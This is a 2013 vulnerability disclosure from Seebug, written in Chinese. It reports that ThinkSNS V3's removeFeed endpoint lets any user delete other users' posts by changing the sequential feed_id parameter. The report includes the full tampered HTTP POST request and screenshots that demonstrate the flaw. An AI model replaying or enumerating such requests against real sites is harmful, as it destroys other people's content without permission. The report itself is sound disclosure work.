ThinkSNS V3缺陷-02

2013-03-27T00:00:00
ID SSV:94269
Type seebug
Reporter Root
Modified 2013-03-27T00:00:00

Description

简要描述:

ThinkSNS V3正式放出,特表示祝贺。 不带刷的,友情检测(因为我们公司要用!真的要用!!)

详细说明:

关键词:任意用户微博(动态)删除! 删除个人微博(动态)请求如下

POST /t3/index.php?app=public&mod=Feed&act=removeFeed HTTP/1.1 Host: demo.thinksns.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://demo.thinksns.com/t3/ Content-Length: 13 Cookie: Connection: keep-alive Pragma: no-cache Cache-Control: no-cache feed_id=297XX

可以清楚的看见,feed_id就是微博动态的id,并且这个id是递增的,可以遍历,那就是说, 我可以把首页所有的微博都删除!

漏洞证明:

事实胜于雄辩,请看一组实验。 1·

<img src="https://images.seebug.org/upload/201303/2700022306de5efa94138b5bcc0f3c3d64ff7ea2.png" alt="29738.png" width="600" onerror="javascript:errimg(this);">

先在用户1发一篇微博,feed_id=29738 2·

<img src="https://images.seebug.org/upload/201303/270003462c73652d7755ac6bfe64f3fec4cca67d.png" alt="29737改为29738.png" width="600" onerror="javascript:errimg(this);">

用户二发布一篇微博,feed_id=29737,此时拦截删除微博请求,同时,将此feed_id修改为29738,forward一下,看结果噻。 3·

<img src="https://images.seebug.org/upload/201303/27001135349b5a4bc24a58a2d275d9259f359e6a.png" alt="admin无微博.png" width="600" onerror="javascript:errimg(this);">

用户1此feed_id=29738 微博已被删除。 4·

<img src="https://images.seebug.org/upload/201303/270011426b942f6cf21732554af2fdf8920e5f73.png" alt="root微博.png" width="600" onerror="javascript:errimg(this);">

用户二微博,依旧挺拔。